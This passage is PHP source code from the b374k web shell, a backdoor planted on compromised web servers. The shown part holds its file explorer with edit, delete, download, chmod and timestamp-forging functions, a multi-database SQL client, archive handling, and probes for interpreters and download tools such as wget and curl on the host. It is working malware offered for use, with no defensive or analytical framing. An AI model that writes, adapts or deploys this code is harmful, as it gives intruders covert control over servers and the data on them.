				$s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1);
				foreach($s_files as $s_file){
					$s_file = str_replace('\', '/', $s_file);
					if(in_array(substr($s_file, strrpos($s_file, '/')+1), array('.', '..'))) continue;
					if (@is_dir($s_file)===true)	$s_zip->addEmptyDir(str_replace($s_src.'/', '', $s_file.'/'));
					else if (@is_file($s_file)===true) $s_zip->addFromString(str_replace($s_src.'/', '', $s_file), @fgc($s_file));
				}
			}
			elseif(@is_file($s_src) === true) $s_zip->addFromString(basename($s_src), @fgc($s_src));
		}
		$s_zip->close();
		return true;
	}
}
// check shell permission to access program
function check_access($s_lang){
	$s_s = false;
	$ver = "";
	switch($s_lang){
		case "python":
			$s_cek = strtolower(exe("python -h"));
			if(strpos($s_cek,"usage")!==false) $ver = exe("python -V");
			break;
		case "perl":
			$s_cek = strtolower(exe("perl -h"));
			if(strpos($s_cek,"usage")!==false) $ver = exe("perl -e \"print \$]\"");
			break;
		case "ruby":
			$s_cek = strtolower(exe("ruby -h"));
			if(strpos($s_cek,"usage")!==false) $ver = exe("ruby -v");
			break;
		case "node":
			$s_cek = strtolower(exe("node -h"));
			if(strpos($s_cek,"usage")!==false) $ver = exe("node -v");
			break;
		case "nodejs":
			$s_cek = strtolower(exe("nodejs -h"));
			if(strpos($s_cek,"usage")!==false) $ver = exe("nodejs -v");
			break;
		case "gcc":
			$s_cek = strtolower(exe("gcc --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("gcc --version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		case "tar":
			$s_cek = strtolower(exe("tar --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("tar --version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		case "java":
			$s_cek = strtolower(exe("java -help"));
			if(strpos($s_cek,"usage")!==false) $ver = str_replace("
", ", ", exe("java -version"));
			break;
		case "javac":
			$s_cek = strtolower(exe("javac -help"));
			if(strpos($s_cek,"usage")!==false) $ver = str_replace("
", ", ", exe("javac -version"));
			break;			
		case "wget":
			$s_cek = strtolower(exe("wget --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("wget --version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		case "lwpdownload":
			$s_cek = strtolower(exe("lwp-download --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("lwp-download --version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		case "lynx":
			$s_cek = strtolower(exe("lynx --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("lynx -version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		case "curl":
			$s_cek = strtolower(exe("curl --help"));
			if(strpos($s_cek,"usage")!==false){
				$s_ver = exe("curl --version");
				$s_ver = explode("
",$s_ver);
				if(count($s_ver)>0) $ver = $s_ver[0];
			}
			break;
		default:
			return false;
	}
	if(!empty($ver)) $s_s = $ver;
	return $s_s;
}
// explorer, return a table of given dir
function showdir($s_cwd){
	global $s_self, $s_win, $s_posix, $s_tar;

	$s_fname = $s_dname = array();
	$s_total_file = $s_total_dir = 0;

	if($s_dh = @opendir($s_cwd)){
		while($s_file = @readdir($s_dh)){
			if(@is_dir($s_file)) $s_dname[] = $s_file;
			elseif(@is_file($s_file))$s_fname[] = $s_file;
		}
		closedir($s_dh);
	}

	natcasesort($s_fname);
	natcasesort($s_dname);
	$s_list = array_merge($s_dname,$s_fname);

	if($s_win){
		//check if this root directory
		chdir("..");
		if(cp(getcwd())==cp($s_cwd)) array_unshift($s_list, ".");
		chdir($s_cwd);
	}

	$s_path = explode(DS,$s_cwd);
	$s_tree = sizeof($s_path);

	$s_parent = "";
	if($s_tree > 2) for($s_i = 0; $s_i<$s_tree-2; $s_i++) $s_parent .= $s_path[$s_i].DS;
	else $s_parent = $s_cwd;

	$s_owner_html = (!$s_win && $s_posix)? "<th style='width:140px;min-width:140px;'>owner:group</th>":"";
	$s_colspan = (!$s_win && $s_posix)? "5" : "4";
	$s_buff = "<table class='explore sortable'><thead><tr><th style='width:24px;min-width:24px;' class='sorttable_nosort'></th><th style='min-width:150px;'>name</th><th style='width:74px;min-width:74px;'>size</th>".$s_owner_html."<th style='width:80px;min-width:80px;'>perms</th><th style='width:150px;min-width:150px;'>modified</th><th style='width:200px;min-width:200px;' class='sorttable_nosort'>action</th></tr></thead><tbody>";

	
	foreach($s_list as $s_l){
		if(!$s_win && $s_posix){
			$s_name = posix_getpwuid(fileowner($s_l));
			$s_group = posix_getgrgid(filegroup($s_l));
			$s_owner = $s_name['name']."<span class='gaya'>:</span>".$s_group['name'];
			$s_owner_html = "<td style='text-align:center;'>".$s_owner."</td>";
		}

		$s_lhref = $s_lname = $s_laction = "";
		if(@is_dir($s_l)){
			if($s_l=="."){
				$s_lhref = $s_self."cd=".pl($s_cwd);
				$s_lsize = "LINK";
				$s_laction = "<span id='titik1'><a href='".$s_self."cd=".pl($s_cwd)."&find=".pl($s_cwd)."'>find</a> | <a href='".$s_self."cd=".pl($s_cwd)."&x=upload"."'>upl</a> | <a href='".$s_self."cd=".pl($s_cwd)."&edit=".pl($s_cwd)."newfile_1&new=yes"."'>+file</a> | <a href=\"javascript:tukar('titik1','', 'mkdir','newfolder_1');\">+dir</a></span><div id='titik1_form'></div>";
			}
			elseif($s_l==".."){
				$s_lhref = $s_self."cd=".pl($s_parent);
				$s_lsize = "LINK";
				$s_laction = "<span id='titik2'><a href='".$s_self."cd=".pl($s_parent)."&find=".pl($s_parent)."'>find</a> | <a href='".$s_self."cd=".pl($s_parent)."&x=upload"."'>upl</a> | <a href='".$s_self."cd=".pl($s_parent)."&edit=".pl($s_parent)."newfile_1&new=yes"."'>+file</a> | <a href=\"javascript:tukar('titik2','".adds($s_parent)."', 'mkdir','newfolder_1');\">+dir</a></span><div id='titik2_form'></div>";
			}
			else{
				$s_lhref = $s_self."cd=".pl($s_cwd.$s_l.DS);
				$s_lsize = "DIR";
				$s_laction = "<span id='".cs($s_l)."_'><a href='".$s_self."cd=".pl($s_cwd.$s_l.DS)."&find=".pl($s_cwd.$s_l.DS)."'>find</a> | <a href='".$s_self."cd=".pl($s_cwd.$s_l.DS)."&x=upload"."'>upl</a> | <a href=\"javascript:tukar('".cs($s_l)."_','','rename','".adds($s_l)."','".adds($s_l)."');\">ren</a> | <a href='".$s_self."cd=".pl($s_cwd)."&del=".pl($s_l)."'>del</a></span><div id='".cs($s_l)."__form'></div>";
				$s_total_dir++;
			}
			$s_lname = "[ ".$s_l." ]";
			$s_lsizetit = "0";
			$s_lnametit = "dir : ".$s_l;
		}
		else{
			$s_lhref = $s_self."view=".pl($s_cwd.$s_l);
			$s_lname = $s_l;
			$s_lsize = gs($s_l);
			$s_lsizetit = @filesize($s_l);
			$s_lnametit = "file : ".$s_l;
			$s_laction = "<span id='".cs($s_l)."_'><a href='".$s_self."edit=".pl($s_cwd.$s_l)."'>edit</a> | <a href='".$s_self."hexedit=".pl($s_cwd.$s_l)."'>hex</a> | <a href=\"javascript:tukar('".cs($s_l)."_','','rename','".adds($s_l)."','".adds($s_l)."');\">ren</a> | <a href='".$s_self."del=".pl($s_cwd.$s_l)."'>del</a> | <a href='".$s_self."dl=".pl($s_cwd.$s_l)."'>dl</a></span><div id='".cs($s_l)."__form'></div>";
			$s_total_file++;
		}

		$s_cboxval = $s_cwd.$s_l;
		if($s_l=='.') $s_cboxval = $s_cwd;
		if($s_l=='..') $s_cboxval = $s_parent;

		$s_cboxes_id = substr(md5($s_lhref),0,8);
		$s_cboxes = "<input id='".$s_cboxes_id."' name='cbox' value='".hss($s_cboxval)."' type='checkbox' class='css-checkbox' onchange='hilite(this);' /><label for='".$s_cboxes_id."' class='css-label'></label>";

		$s_ltime = filemtime($s_l);
		$s_buff .= "<tr><td style='text-align:center;text-indent:4px;'>".$s_cboxes."</td><td class='xpl' title='".$s_lnametit."' ondblclick=\"return go('".adds($s_lhref)."',event);\"><a href='".$s_lhref."'>".$s_lname."</a></td><td title='".$s_lsizetit."'>".$s_lsize."</td>".$s_owner_html."<td class='ce'>".gp($s_l)."</td><td class='ce' title='".$s_ltime."'>".@date("d-M-Y H:i:s",$s_ltime)."</td><td>".$s_laction."</td></tr>";
	}
	$s_buff .= "</tbody>";

	$s_extract = ""; $s_compress = "";
	if(class_exists("ZipArchive")){
		$s_extract .= "<option value='extractzip'>extract (zip)</option>";
		$s_compress .= "<option value='compresszip'>compress (zip)</option>";
	}
	if($s_tar){
		$s_extract .= "<option value='extracttar'>extract (tar)</option><option value='extracttargz'>extract (tar.gz)</option>";
		$s_compress .="<option value='compresstar'>compress (tar)</option><option value='compresstargz'>compress (tar.gz)</option>";
	}

	$s_extcom = ($s_extract!="" && $s_compress!="")? $s_extract."<option value='' disabled>-</option>".$s_compress:$s_extract.$s_compress;

	$s_buff .= "<tfoot><tr class='cbox_selected'><td class='cbox_all'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /> <label for='checkalll' class='css-label'></label></td><td><form action='".$s_self."' method='post'><select id='massact' class='inputzbut' onchange='massactgo();' style='width:100%;height:20px;margin:0;'><option value='' disabled selected>Action</option><option value='cut'>cut</option><option value='copy'>copy</option><option value='paste'>paste</option><option value='delete'>delete</option><option value='' disabled>-</option><option value='chmod'>chmod</option><option value='touch'>touch</option><option value='' disabled>-</option>".$s_extcom."</select><noscript><input type='button' value='Go !' class='inputzbut' onclick='massactgo();' /></noscript></form></td><td colspan='".$s_colspan."' style='text-align:left;'>Total : ".$s_total_file." files, ".$s_total_dir." Directories<span id='total_selected'></span></td></tr></tfoot></table>";

	return $s_buff;
}
//database related functions
function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){
	if($s_sqltype == 'mysql'){ 
		if(class_exists('mysqli')) return new mysqli($s_sqlhost, $s_sqluser, $s_sqlpass);
		elseif(function_exists('mysql_connect')) return @mysql_connect($s_sqlhost, $s_sqluser, $s_sqlpass); 
	}
	elseif($s_sqltype == 'mssql'){
		if(function_exists('sqlsrv_connect')){
			$s_coninfo = array("UID"=>$s_sqluser, "PWD"=>$s_sqlpass);
			return @sqlsrv_connect($s_sqlhost,$s_coninfo);
		}
		elseif(function_exists('mssql_connect')) return @mssql_connect($s_sqlhost, $s_sqluser, $s_sqlpass);
	}
	elseif($s_sqltype == 'pgsql'){
		$s_hosts = explode(":", $s_sqlhost);
		if(count($s_hosts)==2){
			$s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1];
		}
		else $s_host_str = "host=".$s_sqlhost;
		if(function_exists('pg_connect')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass");
	}
	elseif($s_sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($s_sqluser, $s_sqlpass, $s_sqlhost); }
	elseif($s_sqltype == 'sqlite3'){
		if(class_exists('SQLite3')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost);
		else return false;
	}
	elseif($s_sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($s_sqlhost); }
	elseif($s_sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($s_sqlhost, $s_sqluser, $s_sqlpass); }
	elseif($s_sqltype == 'pdo'){
		if(class_exists('PDO')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost, $s_sqluser, $s_sqlpass);
		else return false;
	}
	return false;
}
function sql_query($s_sqltype, $s_query, $s_con){
	if($s_sqltype == 'mysql'){
		if(class_exists('mysqli')) return $s_con->query($s_query);
		elseif(function_exists('mysql_query')) return mysql_query($s_query);
	}
	elseif($s_sqltype == 'mssql'){
		if(function_exists('sqlsrv_query')) return sqlsrv_query($s_con,$s_query);
		elseif(function_exists('mssql_query')) return mssql_query($s_query);
	}
	elseif($s_sqltype == 'pgsql') return pg_query($s_query);
	elseif($s_sqltype == 'oracle') return oci_execute(oci_parse($s_con, $s_query));
	elseif($s_sqltype == 'sqlite3') return $s_con->query($s_query);
	elseif($s_sqltype == 'sqlite') return sqlite_query($s_con, $s_query);
	elseif($s_sqltype == 'odbc') return odbc_exec($s_con, $s_query);
	elseif($s_sqltype == 'pdo') return $s_con->query($s_query);
}
function sql_num_rows($s_sqltype,$s_hasil){
	if($s_sqltype == 'mysql'){
		if(class_exists('mysqli_result')) return $s_hasil->mysqli_num_rows;
		elseif(function_exists('mysql_num_rows')) return mysql_num_rows($s_hasil);
	}
	elseif($s_sqltype == 'mssql'){
		if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($s_hasil);
		elseif(function_exists('mssql_num_rows')) return mssql_num_rows($s_hasil);
	}
	elseif($s_sqltype == 'pgsql') return pg_num_rows($s_hasil);
	elseif($s_sqltype == 'oracle') return oci_num_rows($s_hasil);
	elseif($s_sqltype == 'sqlite3'){
		$s_metadata = $s_hasil->fetchArray();
		if(is_array($s_metadata)) return $s_metadata['count'];
	}
	elseif($s_sqltype == 'sqlite') return sqlite_num_rows($s_hasil);
	elseif($s_sqltype == 'odbc') return odbc_num_rows($s_hasil);
	elseif($s_sqltype == 'pdo') return $s_hasil->rowCount();
}
function sql_num_fields($s_sqltype, $s_hasil){
	if($s_sqltype == 'mysql'){
		if(class_exists('mysqli_result')) return $s_hasil->field_count;
		elseif(function_exists('mysql_num_fields')) return mysql_num_fields($s_hasil);
	}
	elseif($s_sqltype == 'mssql'){
		if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($s_hasil);
		elseif(function_exists('mssql_num_fields')) return mssql_num_fields($s_hasil);
	}
	elseif($s_sqltype == 'pgsql') return pg_num_fields($s_hasil);
	elseif($s_sqltype == 'oracle') return oci_num_fields($s_hasil);
	elseif($s_sqltype == 'sqlite3') return $s_hasil->numColumns();
	elseif($s_sqltype == 'sqlite') return sqlite_num_fields($s_hasil);
	elseif($s_sqltype == 'odbc') return odbc_num_fields($s_hasil);
	elseif($s_sqltype == 'pdo') return $s_hasil->columnCount();
}
function sql_field_name($s_sqltype,$s_hasil,$s_i){
	if($s_sqltype == 'mysql'){
		if(class_exists('mysqli_result')) { $z=$s_hasil->fetch_field();return $z->name;}
		elseif(function_exists('mysql_field_name')) return mysql_field_name($s_hasil,$s_i);
	}
	elseif($s_sqltype == 'mssql'){
		if(function_exists('sqlsrv_field_metadata')){
			$s_metadata = sqlsrv_field_metadata($s_hasil);
			if(is_array($s_metadata)){
				$s_metadata=$s_metadata[$s_i];
			}
			if(is_array($s_metadata)) return $s_metadata['Name'];
		}
		elseif(function_exists('mssql_field_name')) return mssql_field_name($s_hasil,$s_i);
	}
	elseif($s_sqltype == 'pgsql') return pg_field_name($s_hasil,$s_i);
	elseif($s_sqltype == 'oracle') return oci_field_name($s_hasil,$s_i+1);
	elseif($s_sqltype == 'sqlite3') return $s_hasil->columnName($s_i);
	elseif($s_sqltype == 'sqlite') return sqlite_field_name($s_hasil,$s_i);
	elseif($s_sqltype == 'odbc') return odbc_field_name($s_hasil,$s_i+1);
	elseif($s_sqltype == 'pdo'){
		$s_res = $s_hasil->getColumnMeta($s_i);
		return $s_res['name'];
	}
}
function sql_fetch_data($s_sqltype,$s_hasil){
	if($s_sqltype == 'mysql'){
		if(class_exists('mysqli_result')) return $s_hasil->fetch_row();
		elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($s_hasil);
	}
	elseif($s_sqltype == 'mssql'){
		if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($s_hasil,1);
		elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($s_hasil);
	}
	elseif($s_sqltype == 'pgsql') return pg_fetch_row($s_hasil);
	elseif($s_sqltype == 'oracle') return oci_fetch_row($s_hasil);
	elseif($s_sqltype == 'sqlite3') return $s_hasil->fetchArray(1);
	elseif($s_sqltype == 'sqlite') return sqlite_fetch_array($s_hasil,1);
	elseif($s_sqltype == 'odbc') return odbc_fetch_array($s_hasil);
	elseif($s_sqltype == 'pdo') return $s_hasil->fetch(2);
}
function sql_close($s_sqltype,$s_con){
	if($s_sqltype == 'mysql'){
		if(class_exists('mysqli')) return $s_con->close();
		elseif(function_exists('mysql_close')) return mysql_close($s_con);
	}
	elseif($s_sqltype == 'mssql'){
		if(function_exists('sqlsrv_close')) return sqlsrv_close($s_con);
		elseif(function_exists('mssql_close')) return mssql_close($s_con);
	}
	elseif($s_sqltype == 'pgsql') return pg_close($s_con);
	elseif($s_sqltype == 'oracle') return oci_close($s_con);
	elseif($s_sqltype == 'sqlite3') return $s_con->close();
	elseif($s_sqltype == 'sqlite') return sqlite_close($s_con);
	elseif($s_sqltype == 'odbc') return odbc_close($s_con);
	elseif($s_sqltype == 'pdo') return $s_con = null;
}
if(!function_exists('str_split')){
	function str_split($s_t,$s_s=1){
		$s_a = array();
		for($s_i = 0; $s_i<strlen($s_t);){
			$s_a[] = substr($s_t,$s_i,$s_s);
			$s_i += $s_s;
		}
		return $s_a;
	}
}

// appearance
$s_theme = "dark"; // default is dark
if(isset($_COOKIE['theme'])) $s_theme = $_COOKIE['theme'];
if(isset($_GP['x']) && ($_GP['x']=='switch')){
	if(isset($_COOKIE['theme'])) $s_theme = $_COOKIE['theme'];
	if($s_theme=="bright") $s_theme = "dark";
	else $s_theme = "bright";
	setcookie("theme", $s_theme ,time() + $s_login_time);
}
$s_highlight_dark = array("4C9CAF", "888888", "87DF45", "EEEEEE" , "FF8000");
$s_highlight_bright = array("B36350", "777777", "7820BA", "111111" , "007FFF");

global $s_self, $s_win, $s_posix;

$s_self = "?";
$s_cek1 = basename($_SERVER['SCRIPT_FILENAME']);
$s_cek2 = substr(basename(__FILE__),0,strlen($s_cek1));

if(isset($_COOKIE['b374k_included'])){
	if(strcmp($s_cek1,$s_cek2)!=0) $s_self = $_COOKIE['s_self'];
	else{
		$s_self = "?";
		setcookie("b374k_included", "0" ,time() - $s_login_time);
		setcookie("s_self", $s_self ,time() + $s_login_time);
	}
}
else{
	if(strcmp($s_cek1,$s_cek2)!=0){
		if(!isset($_COOKIE['s_home'])){
			$s_home = "?".$_SERVER["QUERY_STRING"]."&";
			setcookie("s_home", $s_home ,time() + $s_login_time);
		}
		if(isset($s_home)) $s_self = $s_home;
		elseif(isset($_COOKIE['s_home'])) $s_self = $_COOKIE['s_home'];
		setcookie("b374k_included", "1" ,time() + $s_login_time);
		setcookie("s_self", $s_self ,time() + $s_login_time);
	}
	else{
		$s_self = "?";
		setcookie("b374k_included", "0" ,time() - $s_login_time);
		setcookie("s_self", $s_self ,time() + $s_login_time);
	}
}
$s_cwd = "";

if(isset($_GP['|'])) showcode($s_css);
elseif(isset($_GP['!'])) showcode($s_js);

if($s_auth){
	// server software
	$s_software = getenv("SERVER_SOFTWARE");
	// uname -a
	$s_system = php_uname();
	// check os
	$s_win = (strtolower(substr($s_system,0,3)) == "win")? true : false;
	// check for posix
	$s_posix = (function_exists("posix_getpwuid"))? true : false;
	// change working directory
	if(isset($_GP['cd'])){
		$s_dd = $_GP['cd'];
		if(@is_dir($s_dd)){
			$s_cwd = cp($s_dd);
			chdir($s_cwd);
			setcookie("cwd", $s_cwd ,time() + $s_login_time);
		}
		else $s_cwd = isset($_COOKIE['cwd'])? cp($_COOKIE['cwd']):cp(getcwd());;
	}
	else{
		if(isset($_COOKIE['cwd'])){
			$s_dd = ss($_COOKIE['cwd']);
			if(@is_dir($s_dd)){
				$s_cwd = cp($s_dd);
				chdir($s_cwd);
			}
		}
		else $s_cwd = cp(getcwd());
	}

	if(!$s_win && $s_posix){
		$s_userarr = posix_getpwuid(posix_geteuid());
		if(isset($s_userarr['name'])) $s_user = $s_userarr['name'];
		else $s_user = "$";
	}
	else {
		$s_user = get_current_user();
	}

	// prompt style
	$s_prompt = $s_user." &gt;";
	// server ip
	$s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
	// your ip ;-)
	$s_my_ip = $_SERVER['REMOTE_ADDR'];
	$s_result = "";

	global $s_python, $s_perl, $s_ruby, $s_node, $s_nodejs, $s_gcc, $s_java, $s_javac, $s_tar, $s_wget, $s_lwpdownload, $s_lynx, $s_curl;

	$s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_java", "s_javac", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl");
	foreach($s_access as $s){
		if(isset($_COOKIE[$s])){ $$s = $_COOKIE[$s]; }
		else{
			if(!isset($_COOKIE['b374k'])){
				$t = explode("_", $s);
				$t = check_access($t[1]);
				if($t!==false){
					$$s = $t;
					setcookie($s, $$s ,time() + $s_login_time);
				}
			}
		}
	}

	// download file specified by ?dl=<file>
	if(isset($_GP['dl']) && ($_GP['dl'] != "")){
		ob_end_clean();
		$f = $_GP['dl'];
		$fc = fgc($f);
		header("Content-type: application/octet-stream");
		header("Content-length: ".strlen($fc));
		header("Content-disposition: attachment; filename=\"".basename($f)."\";");
		echo $fc;
		die();
	}
	// massact
	if(isset($_GP['z'])){
		$s_massact = isset($_COOKIE['massact'])? $_COOKIE['massact']:"";
		$s_buffer = isset($_COOKIE['buffer'])? rtrim(ss($_COOKIE['buffer']),"|"):"";
		$s_lists = explode("|", $s_buffer);

		$s_counter = 0;
		if(!empty($s_buffer)){
			if($_GP['z']=='moveok'){
				foreach($s_lists as $s_l) if(rename($s_l,$s_cwd.basename($s_l))) $s_counter++;
				if($s_counter>0) $s_result .= notif($s_counter." items moved");
				else $s_result .= notif("No items moved");
			}
			elseif($_GP['z']=='copyok'){
				foreach($s_lists as $s_l){
					if(@is_dir($s_l)){
						copys($s_l,$s_cwd.basename($s_l));
						if(file_exists($s_cwd.basename($s_l))) $s_counter++;
					}
					elseif(@is_file($s_l)){
						copy($s_l,$s_cwd.basename($s_l));
						if(file_exists($s_cwd.basename($s_l))) $s_counter++;
					}
				}
				if($s_counter>0) $s_result .= notif($s_counter." items copied");
				else $s_result .= notif("No items copied");
			}
			elseif($_GP['z']=='delok'){
				foreach($s_lists as $s_l){
					if(@is_file($s_l)){
						if(unlink($s_l)) $s_counter++;
					}
					elseif(@is_dir($s_l)){
						rmdirs($s_l);
						if(!file_exists($s_l)) $s_counter++;
					}
				}
				if($s_counter>0) $s_result .= notif($s_counter." items deleted");
				else $s_result .= notif("No items deleted");
			}
			elseif(isset($_GP['chmodok'])){
				$s_mod = octdec($_GP['chmodok']);
				foreach($s_lists as $s_l) if(chmod($s_l,$s_mod)) $s_counter++;
				if($s_counter>0) $s_result .= notif($s_counter." items changed mode to ".decoct($s_mod));
				else $s_result .= notif("No items modified");
			}
			elseif(isset($_GP['touchok'])){
				$s_datenew = strtotime($_GP['touchok']);
				foreach($s_lists as $s_l) if(touch($s_l,$s_datenew)) $s_counter++;
				if($s_counter>0) $s_result .= notif($s_counter." items changed access and modification time to ".@date("d-M-Y H:i:s",$s_datenew));
				else $s_result .= notif("No items modified");
			}
			elseif(isset($_GP['compresszipok'])){
				$s_file = $_GP['compresszipok'];
				if(zip($s_lists, $s_file)) $s_result .= notif("Archive created : ".hss($s_file));
				else $s_result .= notif("Error creating archive file");
			}
			elseif(isset($_GP['compresstarok'])){
				$s_lists_ = array();
				$s_file = $_GP['compresstarok'];
				$s_file = basename($s_file);

				$s_lists__ = array_map("basename", $s_lists);
				$s_lists_ = array_map("pf", $s_lists__);
				exe("tar cf \"".$s_file."\" ".implode(" ", $s_lists_));

				if(@is_file($s_file)) $s_result .= notif("Archive created : ".hss($s_file));
				else $s_result .= notif("Error creating archive file");
			}
			elseif(isset($_GP['compresstargzok'])){
				$s_lists_ = array();
				$s_file = $_GP['compresstargzok'];
				$s_file = basename($s_file);

				$s_lists__ = array_map("basename", $s_lists);
				$s_lists_ = array_map("pf", $s_lists__);
				exe("tar czf \"".$s_file."\" ".implode(" ", $s_lists_));

				if(@is_file($s_file)) $s_result .= notif("Archive created : ".hss($s_file));
				else $s_result .= notif("Error creating archive file");
			}
			elseif(isset($_GP['extractzipok'])){
				$s_file = $_GP['extractzipok'];
				$zip = new ZipArchive();
				foreach($s_lists as $f){
					$s_target = $s_file.basename($f,".zip");
					if($zip->open($f)){
						if(!@is_dir($s_target)) @mkdir($s_target);
						if($zip->extractTo($s_target)) $s_result .= notif("Files extracted to ".hss($s_target));
						else $s_result .= notif("Error extrating archive file");
						$zip->close();
					}
					else $s_result .= notif("Error opening archive file");
				}
			}
			elseif(isset($_GP['extracttarok'])){
				$s_file = $_GP['extracttarok'];
				foreach($s_lists as $f){
					$s_target = "";
					$s_target = basename($f,".tar");
					if(!@is_dir($s_target)) @mkdir($s_target);
					exe("tar xf \"".basename($f)."\" -C \"".$s_target."\"");
				}
			}
			elseif(isset($_GP['extracttargzok'])){
				$s_file = $_GP['extracttargzok'];
				foreach($s_lists as $f){
					$s_target = "";
					if(strpos(strtolower($f), ".tar.gz")!==false) $s_target = basename($f,".tar.gz");
					elseif(strpos(strtolower($f), ".tgz")!==false) $s_target = basename($f,".tgz");
					if(!@is_dir($s_target)) @mkdir($s_target);
					exe("tar xzf \"".basename($f)."\" -C \"".$s_target."\"");
				}
			}
		}
		setcookie("buffer", "" ,time() - $s_login_time);
		setcookie("massact", "" ,time() - $s_login_time);
	}
	if(isset($_GP['y'])){
		$s_massact = isset($_COOKIE['massact'])? $_COOKIE['massact']:"";
		$s_buffer = isset($_COOKIE['buffer'])? rtrim(ss($_COOKIE['buffer']),"|"):"";
		$s_lists = explode("|", $s_buffer);

		if(!empty($s_buffer)){
			if($_GP['y']=='delete'){
				$s_result .= notif("Delete ? <a href='".$s_self."z=delok"."'>Yes</a> | <a href='".$s_self."'>No</a>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='paste' && $s_massact=='cut'){
				$s_result .= notif("Move here ? <a href='".$s_self."z=moveok"."'>Yes</a> | <a href='".$s_self."'>No</a>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='paste' && $s_massact=='copy'){
				$s_result .= notif("Copy here ? <a href='".$s_self."z=copyok"."'>Yes</a> | <a href='".$s_self."'>No</a>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='chmod'){
				$s_result .= notif("Permissions ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='0755' name='chmodok' style='width:30px;text-align:center;' maxlength='4' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='touch'){
				$s_result .= notif("Touch ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".@date("d-M-Y H:i:s",time())."' name='touchok' style='width:130px;text-align:center;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='extractzip'){
				$s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd)."' name='extractzipok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='extracttar'){
				$s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd)."' name='extracttarok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='extracttargz'){
				$s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd)."' name='extracttargzok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='compresszip'){
				$s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd).substr(md5(time()),0,8).".zip' name='compresszipok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='compresstar'){
				$s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd).substr(md5(time()),0,8).".tar' name='compresstarok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
			elseif($_GP['y']=='compresstargz'){
				$s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd).substr(md5(time()),0,8).".tar.gz' name='compresstargzok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
				foreach($s_lists as $s_l) $s_result .= notif($s_l);
			}
		}
	}

	// view image specified by ?img=<file>
	if(isset($_GP['img'])){
		ob_end_clean();
		$s_d = isset($_GP['d'])? $_GP['d']:"";
		$s_f = $_GP['img'];
		$s_inf = @getimagesize($s_d.$s_f);
		$s_ext = explode($s_f, ".");
		$s_ext = $s_ext[count($s_ext)-1];
	 	header("Content-type: ".$s_inf["mime"]);
	 	header("Cache-control: public");
		header("Expires: ".@date("r", @mktime(0,0,0,1,1,2030)));
		header("Cache-control: max-age=".(60*60*24*7));#
	 	readfile($s_d.$s_f);
	 	die();
	} // rename file or folder
	elseif(isset($_GP['oldname']) && isset($_GP['rename'])){
		$s_old = $_GP['oldname'];
		$s_new = $_GP['rename'];

		$s_renmsg = "";
